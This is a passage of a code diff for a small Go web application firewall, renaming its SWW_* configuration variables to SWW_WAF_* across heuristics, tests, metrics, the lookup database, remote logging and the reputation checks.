@@ -26,7 +26,7 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
|
|||||||
calls.Add(1)
|
calls.Add(1)
|
||||||
})
|
})
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
// fromKP is in SWW_ALLOW_NETS, and in SWW_DENY_NETS too, which
|
// fromKP is in SWW_WAF_ALLOW_NETS, and in SWW_WAF_DENY_NETS too, which
|
||||||
// comes after it.
|
// comes after it.
|
||||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
@@ -36,7 +36,7 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
|
|||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
})
|
})
|
||||||
|
|
||||||
// Neither SWW_DENY_NETS, SWW_TAG_DENY nor the limit of one request a
|
// Neither SWW_WAF_DENY_NETS, SWW_WAF_TAG_DENY nor the limit of one request a
|
||||||
// minute refuses the client, and its country is not looked up.
|
// minute refuses the client, and its country is not looked up.
|
||||||
wantAnswers(t, addr, out, []sentRequest{
|
wantAnswers(t, addr, out, []sentRequest{
|
||||||
{fromKP, http.StatusOK, requestlog.ActionForward},
|
{fromKP, http.StatusOK, requestlog.ActionForward},
|
||||||
@@ -147,7 +147,7 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
|
|||||||
|
|
||||||
// listedAddr's requests are neither refused nor counted, so the first
|
// listedAddr's requests are neither refused nor counted, so the first
|
||||||
// request from unlistedAddr is within the limit of one a minute.
|
// request from unlistedAddr is within the limit of one a minute.
|
||||||
// SWW_TAG_DENY still refuses an exempt client.
|
// SWW_WAF_TAG_DENY still refuses an exempt client.
|
||||||
wantAnswers(t, addr, out, []sentRequest{
|
wantAnswers(t, addr, out, []sentRequest{
|
||||||
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
||||||
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic tag_deny. It reads SWW_TAG_DENY.
|
// The heuristic tag_deny. It reads SWW_WAF_TAG_DENY.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -10,7 +10,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// tagDeny refuses a request that carries a tag in SWW_TAG_DENY. Its figure is
|
// tagDeny refuses a request that carries a tag in SWW_WAF_TAG_DENY. Its figure is
|
||||||
// the first such tag, in sorted order.
|
// the first such tag, in sorted order.
|
||||||
type tagDeny struct{}
|
type tagDeny struct{}
|
||||||
|
|
||||||
|
|||||||
@@ -51,7 +51,7 @@ func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
|
|||||||
|
|
||||||
const mixedCaseZone = "DNSBL.example"
|
const mixedCaseZone = "DNSBL.example"
|
||||||
|
|
||||||
// The zone's tag is in lower case, however SWW_DNSBL_ZONES writes it.
|
// The zone's tag is in lower case, however SWW_WAF_DNSBL_ZONES writes it.
|
||||||
s, server, _ := startWithLookups(t, map[string]string{
|
s, server, _ := startWithLookups(t, map[string]string{
|
||||||
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
|
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
|
||||||
reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
|
reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through
|
// The heuristic tag_lists. It reads the address lists of SWW_WAF_TAG_LISTS through
|
||||||
// the reputation lists.
|
// the reputation lists.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -8,7 +8,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// tagLists adds to the request one tag for each list of SWW_TAG_LISTS that
|
// tagLists adds to the request one tag for each list of SWW_WAF_TAG_LISTS that
|
||||||
// holds the client, the tag being the list's name. It refuses nothing, and runs
|
// holds the client, the tag being the list's name. It refuses nothing, and runs
|
||||||
// first so that every refusal's log line carries these tags.
|
// first so that every refusal's log line carries these tags.
|
||||||
type tagLists struct{}
|
type tagLists struct{}
|
||||||
|
|||||||
@@ -8,9 +8,9 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// tagLists is SWW_TAG_LISTS, and vpnList and torList lists it names.
|
// tagLists is SWW_WAF_TAG_LISTS, and vpnList and torList lists it names.
|
||||||
const (
|
const (
|
||||||
tagLists = "SWW_TAG_LISTS"
|
tagLists = "SWW_WAF_TAG_LISTS"
|
||||||
vpnList = "https://lists.example/vpn.txt"
|
vpnList = "https://lists.example/vpn.txt"
|
||||||
torList = "https://lists.example/torexit.txt"
|
torList = "https://lists.example/torexit.txt"
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic trap_paths. It reads SWW_TRAP_PATHS.
|
// The heuristic trap_paths. It reads SWW_WAF_TRAP_PATHS.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -11,7 +11,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||||
)
|
)
|
||||||
|
|
||||||
// trapPaths refuses a request for a path in SWW_TRAP_PATHS: its path as a
|
// trapPaths refuses a request for a path in SWW_WAF_TRAP_PATHS: its path as a
|
||||||
// path rule sees it, without the query, as sent or once percent-decoded, is one
|
// path rule sees it, without the query, as sent or once percent-decoded, is one
|
||||||
// of them. Such a request is a clear sign of attack, as a ban rule's match is:
|
// of them. Such a request is a clear sign of attack, as a ban rule's match is:
|
||||||
// it bans the client's netblock, or in observe mode raises the alert for the
|
// it bans the client's netblock, or in observe mode raises the alert for the
|
||||||
|
|||||||
@@ -14,14 +14,14 @@ import (
|
|||||||
// trapPaths is the setting's name, and trapPathList what the tests set it
|
// trapPaths is the setting's name, and trapPathList what the tests set it
|
||||||
// to.
|
// to.
|
||||||
const (
|
const (
|
||||||
trapPaths = "SWW_TRAP_PATHS"
|
trapPaths = "SWW_WAF_TRAP_PATHS"
|
||||||
trapPathList = "/wp-login.php,/xmlrpc.php"
|
trapPathList = "/wp-login.php,/xmlrpc.php"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
|
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
||||||
|
|
||||||
// A block rule for the same path: the trap path comes first.
|
// A block rule for the same path: the trap path comes first.
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
s, clk, server := startWithClock(t, "", map[string]string{
|
||||||
@@ -38,7 +38,7 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
|
|||||||
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
|
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
|
||||||
}
|
}
|
||||||
|
|
||||||
// A client in SWW_ALLOW_NETS is not checked.
|
// A client in SWW_WAF_ALLOW_NETS is not checked.
|
||||||
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
|
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
// The query is not part of the path.
|
// The query is not part of the path.
|
||||||
@@ -114,8 +114,8 @@ func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
trapPaths: trapPathList,
|
trapPaths: trapPathList,
|
||||||
"SWW_RULES_ENABLED": "false",
|
"SWW_WAF_RULES_ENABLED": "false",
|
||||||
})
|
})
|
||||||
|
|
||||||
s.request(client, "/xmlrpc.php", http.StatusForbidden,
|
s.request(client, "/xmlrpc.php", http.StatusForbidden,
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ const quietTime = 2 * time.Second
|
|||||||
// FileParams are what OpenFile needs.
|
// FileParams are what OpenFile needs.
|
||||||
type FileParams struct {
|
type FileParams struct {
|
||||||
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
||||||
// (SWW_LOOKUP_DB_PATH).
|
// (SWW_WAF_LOOKUP_DB_PATH).
|
||||||
Path string
|
Path string
|
||||||
// Now tells the time, normally time.Now.
|
// Now tells the time, normally time.Now.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
@@ -231,12 +231,12 @@ func (f *File) use(reader *maxminddb.Reader) {
|
|||||||
func read(path string) (*maxminddb.Reader, error) {
|
func read(path string) (*maxminddb.Reader, error) {
|
||||||
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
|
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
|
return nil, fmt.Errorf("SWW_WAF_LOOKUP_DB_PATH cannot be read: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
reader, err := maxminddb.OpenBytes(data)
|
reader, err := maxminddb.OpenBytes(data)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
|
return nil, fmt.Errorf("SWW_WAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return reader, nil
|
return reader, nil
|
||||||
|
|||||||
@@ -99,9 +99,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
|
|||||||
writeFile(t, notDatabase, "not a lookup database\n")
|
writeFile(t, notDatabase, "not a lookup database\n")
|
||||||
|
|
||||||
for path, want := range map[string]string{
|
for path, want := range map[string]string{
|
||||||
missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
|
missing: "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + missing +
|
||||||
": no such file or directory",
|
": no such file or directory",
|
||||||
notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
|
notDatabase: "SWW_WAF_LOOKUP_DB_PATH " + notDatabase +
|
||||||
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
|
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
|
||||||
} {
|
} {
|
||||||
_, err := OpenFile(FileParams{
|
_, err := OpenFile(FileParams{
|
||||||
@@ -216,7 +216,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
|
|||||||
Reason: "the lookup database cannot be read, and the one read before stays in use",
|
Reason: "the lookup database cannot be read, and the one read before stays in use",
|
||||||
Detail: map[string]any{
|
Detail: map[string]any{
|
||||||
"file": path,
|
"file": path,
|
||||||
"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
"error": "SWW_WAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
||||||
"error opening database: invalid MaxMind DB file",
|
"error opening database: invalid MaxMind DB file",
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
// Package lookup looks up each client's AS number and country, through
|
// Package lookup looks up each client's AS number and country, through
|
||||||
// the GeoJS web service or in the lookup database, the IPinfo Lite file
|
// the GeoJS web service or in the lookup database, the IPinfo Lite file
|
||||||
// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
// SWW_WAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
||||||
// most 100,000 clients and for 7 days each, and are written to
|
// most 100,000 clients and for 7 days each, and are written to
|
||||||
// lookups.json and read from it by the state package.
|
// lookups.json and read from it by the state package.
|
||||||
package lookup
|
package lookup
|
||||||
@@ -66,7 +66,7 @@ type Params struct {
|
|||||||
URL string
|
URL string
|
||||||
// Timeout is how long a request waits for its client's first answer,
|
// Timeout is how long a request waits for its client's first answer,
|
||||||
// and how long a request to GeoJS may take before it is abandoned
|
// and how long a request to GeoJS may take before it is abandoned
|
||||||
// (SWW_LOOKUP_TIMEOUT).
|
// (SWW_WAF_LOOKUP_TIMEOUT).
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Wait is true when a setting needs each request's answer before the
|
// Wait is true when a setting needs each request's answer before the
|
||||||
// request goes on. Otherwise no request waits for one.
|
// request goes on. Otherwise no request waits for one.
|
||||||
|
|||||||
@@ -42,7 +42,7 @@ type busiest struct {
|
|||||||
func newCountries(topN int) *busiest {
|
func newCountries(topN int) *busiest {
|
||||||
countries := newBusiest(topN, "country", "the client's country")
|
countries := newBusiest(topN, "country", "the client's country")
|
||||||
countries.refused = counterVec("sww_country_list_refusals_total",
|
countries.refused = counterVec("sww_country_list_refusals_total",
|
||||||
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||||
[]string{"country"})
|
[]string{"country"})
|
||||||
|
|
||||||
return countries
|
return countries
|
||||||
|
|||||||
+10
-10
@@ -62,8 +62,8 @@ type Metrics struct {
|
|||||||
|
|
||||||
// New returns the metrics, with the Go runtime's and the process's own.
|
// New returns the metrics, with the Go runtime's and the process's own.
|
||||||
// topN is how many countries and how many AS numbers get series of their
|
// topN is how many countries and how many AS numbers get series of their
|
||||||
// own (SWW_METRICS_TOP_N). Every metric carries instanceName
|
// own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName
|
||||||
// (SWW_INSTANCE_NAME) as its label instance.
|
// (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||||
//
|
//
|
||||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||||
func New(topN int, instanceName string) *Metrics {
|
func New(topN int, instanceName string) *Metrics {
|
||||||
@@ -102,7 +102,7 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
offences: counterVec("sww_offences_total",
|
offences: counterVec("sww_offences_total",
|
||||||
"Offences, by kind.", []string{"kind"}),
|
"Offences, by kind.", []string{"kind"}),
|
||||||
coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
|
coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
|
||||||
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
|
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_CORE_RULE_SET_MODE "+
|
||||||
"and the rule's id.", []string{"mode", "rule_id"}),
|
"and the rule's id.", []string{"mode", "rule_id"}),
|
||||||
countries: newCountries(topN),
|
countries: newCountries(topN),
|
||||||
asns: newASNs(topN),
|
asns: newASNs(topN),
|
||||||
@@ -214,13 +214,13 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// AddRemoteLog adds the metrics of sending the log lines to
|
// AddRemoteLog adds the metrics of sending the log lines to
|
||||||
// SWW_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
// SWW_WAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
||||||
// lines sent, those dropped, and those waiting in the buffer.
|
// lines sent, those dropped, and those waiting in the buffer.
|
||||||
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_remote_log_lines_sent_total",
|
Name: "sww_remote_log_lines_sent_total",
|
||||||
Help: "Log lines sent to SWW_LOG_REMOTE_URL.",
|
Help: "Log lines sent to SWW_WAF_LOG_REMOTE_URL.",
|
||||||
}, func() float64 {
|
}, func() float64 {
|
||||||
return float64(remote.Sent())
|
return float64(remote.Sent())
|
||||||
}),
|
}),
|
||||||
@@ -313,7 +313,7 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
|
|||||||
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
|
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
|
||||||
// read from abuseIPDB as the metrics are asked for: the checks made, those
|
// read from abuseIPDB as the metrics are asked for: the checks made, those
|
||||||
// that failed, and how many checks the day's budget has left. It is
|
// that failed, and how many checks the day's budget has left. It is
|
||||||
// called once, after AddReputation, while SWW_ABUSEIPDB_KEY is set.
|
// called once, after AddReputation, while SWW_WAF_ABUSEIPDB_KEY is set.
|
||||||
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
||||||
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
|
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
|
||||||
|
|
||||||
@@ -322,7 +322,7 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
|||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
Name: "sww_reputation_daily_budget_remaining",
|
Name: "sww_reputation_daily_budget_remaining",
|
||||||
Help: "Checks of the day's SWW_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
Help: "Checks of the day's SWW_WAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
||||||
ConstLabels: source,
|
ConstLabels: source,
|
||||||
}, func() float64 {
|
}, func() float64 {
|
||||||
return float64(abuseIPDB.BudgetLeft())
|
return float64(abuseIPDB.BudgetLeft())
|
||||||
@@ -363,8 +363,8 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
|
|||||||
}),
|
}),
|
||||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_alerts_suppressed_total",
|
Name: "sww_alerts_suppressed_total",
|
||||||
Help: "Alerts held back: repeats within SWW_ALERT_COOLDOWN, and " +
|
Help: "Alerts held back: repeats within SWW_WAF_ALERT_COOLDOWN, and " +
|
||||||
"alerts past SWW_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
"alerts past SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
||||||
ConstLabels: destination,
|
ConstLabels: destination,
|
||||||
}, func() float64 {
|
}, func() float64 {
|
||||||
return float64(queue.Suppressed())
|
return float64(queue.Suppressed())
|
||||||
@@ -442,7 +442,7 @@ func (m *Metrics) RuleMatched(id, action string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
|
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
|
||||||
// with SWW_WAF_MODE at mode.
|
// with SWW_WAF_CORE_RULE_SET_MODE at mode.
|
||||||
func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
||||||
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// and bytes counted over a minute, an hour and a day, as the "Counting
|
// and bytes counted over a minute, an hour and a day, as the "Counting
|
||||||
// method" section of SPEC.md describes, which tell when a request takes
|
// method" section of SPEC.md describes, which tell when a request takes
|
||||||
// the client over a rate limit or a byte limit, and each client's history
|
// the client over a rate limit or a byte limit, and each client's history
|
||||||
// since it was first seen. At most SWW_MAX_TRACKED_CLIENTS clients are
|
// since it was first seen. At most SWW_WAF_MAX_TRACKED_CLIENTS clients are
|
||||||
// kept, in memory, and written to clients.json and read from it by the
|
// kept, in memory, and written to clients.json and read from it by the
|
||||||
// state package.
|
// state package.
|
||||||
package ratelimit
|
package ratelimit
|
||||||
@@ -157,7 +157,7 @@ type Request struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// New returns a Limiter for limits, with no client counted yet, whose
|
// New returns a Limiter for limits, with no client counted yet, whose
|
||||||
// table holds at most maxClients clients (SWW_MAX_TRACKED_CLIENTS). Past
|
// table holds at most maxClients clients (SWW_WAF_MAX_TRACKED_CLIENTS). Past
|
||||||
// it, the least recently seen client is dropped, with its history, and
|
// it, the least recently seen client is dropped, with its history, and
|
||||||
// starts afresh if it comes back.
|
// starts afresh if it comes back.
|
||||||
func New(limits Limits, maxClients int) *Limiter {
|
func New(limits Limits, maxClients int) *Limiter {
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import (
|
|||||||
const limit = 3
|
const limit = 3
|
||||||
|
|
||||||
// tableSize is the most clients the tests' tables hold, the default of
|
// tableSize is the most clients the tests' tables hold, the default of
|
||||||
// SWW_MAX_TRACKED_CLIENTS.
|
// SWW_WAF_MAX_TRACKED_CLIENTS.
|
||||||
const tableSize = 20000
|
const tableSize = 20000
|
||||||
|
|
||||||
// whole is the percentage of each limit a client gets when nothing lowers
|
// whole is the percentage of each limit a client gets when nothing lowers
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
// Package remotelog sends the lines sww writes on stdout to the
|
// Package remotelog sends the lines sww writes on stdout to the
|
||||||
// remote log endpoint, SWW_LOG_REMOTE_URL, as the "Request log" section
|
// remote log endpoint, SWW_WAF_LOG_REMOTE_URL, as the "Request log" section
|
||||||
// of SPEC.md describes: each line as the message of an RFC 5424 syslog
|
// of SPEC.md describes: each line as the message of an RFC 5424 syslog
|
||||||
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
|
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
|
||||||
// or unreachable endpoint never holds up a request or stdout.
|
// or unreachable endpoint never holds up a request or stdout.
|
||||||
@@ -24,7 +24,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The forms of SWW_LOG_REMOTE_URL, by its scheme.
|
// The forms of SWW_WAF_LOG_REMOTE_URL, by its scheme.
|
||||||
const (
|
const (
|
||||||
SchemeUDP = "syslog+udp"
|
SchemeUDP = "syslog+udp"
|
||||||
SchemeTCP = "syslog+tcp"
|
SchemeTCP = "syslog+tcp"
|
||||||
@@ -56,18 +56,18 @@ const (
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// URL is the endpoint (SWW_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
// URL is the endpoint (SWW_WAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
||||||
// SchemeTLS, a host and a port.
|
// SchemeTLS, a host and a port.
|
||||||
URL *url.URL
|
URL *url.URL
|
||||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||||
// must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||||
RootCAs *x509.CertPool
|
RootCAs *x509.CertPool
|
||||||
// Buffer is the most lines held while they wait to be sent
|
// Buffer is the most lines held while they wait to be sent
|
||||||
// (SWW_LOG_REMOTE_BUFFER).
|
// (SWW_WAF_LOG_REMOTE_BUFFER).
|
||||||
Buffer int
|
Buffer int
|
||||||
// Facility is the number of the records' syslog facility
|
// Facility is the number of the records' syslog facility
|
||||||
// (SWW_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||||
// (SWW_LOG_REMOTE_APP_NAME).
|
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
||||||
Facility int
|
Facility int
|
||||||
AppName string
|
AppName string
|
||||||
}
|
}
|
||||||
@@ -243,7 +243,7 @@ func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
processLog.Warn("sending to SWW_LOG_REMOTE_URL failed",
|
processLog.Warn("sending to SWW_WAF_LOG_REMOTE_URL failed",
|
||||||
"error", err.Error(), "connecting_again_in", delay.String())
|
"error", err.Error(), "connecting_again_in", delay.String())
|
||||||
|
|
||||||
select {
|
select {
|
||||||
|
|||||||
@@ -586,7 +586,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
|
|||||||
var fields map[string]any
|
var fields map[string]any
|
||||||
|
|
||||||
err := json.Unmarshal([]byte(line), &fields)
|
err := json.Unmarshal([]byte(line), &fields)
|
||||||
if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
|
if err != nil || fields["msg"] != "sending to SWW_WAF_LOG_REMOTE_URL failed" {
|
||||||
t.Fatalf("logged %q", line)
|
t.Fatalf("logged %q", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -58,17 +58,17 @@ type Checks struct {
|
|||||||
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
||||||
type AbuseIPDBParams struct {
|
type AbuseIPDBParams struct {
|
||||||
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
||||||
// the account's key (SWW_ABUSEIPDB_KEY).
|
// the account's key (SWW_WAF_ABUSEIPDB_KEY).
|
||||||
URL string
|
URL string
|
||||||
Key string
|
Key string
|
||||||
// MinScore is the least score that is a hit (SWW_ABUSEIPDB_MIN_SCORE),
|
// MinScore is the least score that is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE),
|
||||||
// and DailyBudget the most checks made in a day, in UTC
|
// and DailyBudget the most checks made in a day, in UTC
|
||||||
// (SWW_ABUSEIPDB_DAILY_BUDGET).
|
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
|
||||||
MinScore int64
|
MinScore int64
|
||||||
DailyBudget int
|
DailyBudget int
|
||||||
// CacheTTL is how long a score is used after it was fetched
|
// CacheTTL is how long a score is used after it was fetched
|
||||||
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
||||||
// (SWW_REPUTATION_TIMEOUT).
|
// (SWW_WAF_REPUTATION_TIMEOUT).
|
||||||
CacheTTL time.Duration
|
CacheTTL time.Duration
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
|
|||||||
@@ -53,15 +53,15 @@ type Verdict struct {
|
|||||||
// DNSBLParams are what NewDNSBL needs.
|
// DNSBLParams are what NewDNSBL needs.
|
||||||
type DNSBLParams struct {
|
type DNSBLParams struct {
|
||||||
// Zones are the DNSBL zones clients are asked about in
|
// Zones are the DNSBL zones clients are asked about in
|
||||||
// (SWW_DNSBL_ZONES).
|
// (SWW_WAF_DNSBL_ZONES).
|
||||||
Zones []string
|
Zones []string
|
||||||
// Resolver is the resolver they are asked through
|
// Resolver is the resolver they are asked through
|
||||||
// (SWW_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
// (SWW_WAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
||||||
// host's, as /etc/resolv.conf names it.
|
// host's, as /etc/resolv.conf names it.
|
||||||
Resolver netip.AddrPort
|
Resolver netip.AddrPort
|
||||||
// CacheTTL is how long a verdict is used after it was fetched
|
// CacheTTL is how long a verdict is used after it was fetched
|
||||||
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
||||||
// (SWW_REPUTATION_TIMEOUT).
|
// (SWW_WAF_REPUTATION_TIMEOUT).
|
||||||
CacheTTL time.Duration
|
CacheTTL time.Duration
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
@@ -127,13 +127,13 @@ func NewDNSBL(params DNSBLParams) *DNSBL {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Zones returns the zones, in the order SWW_DNSBL_ZONES names them.
|
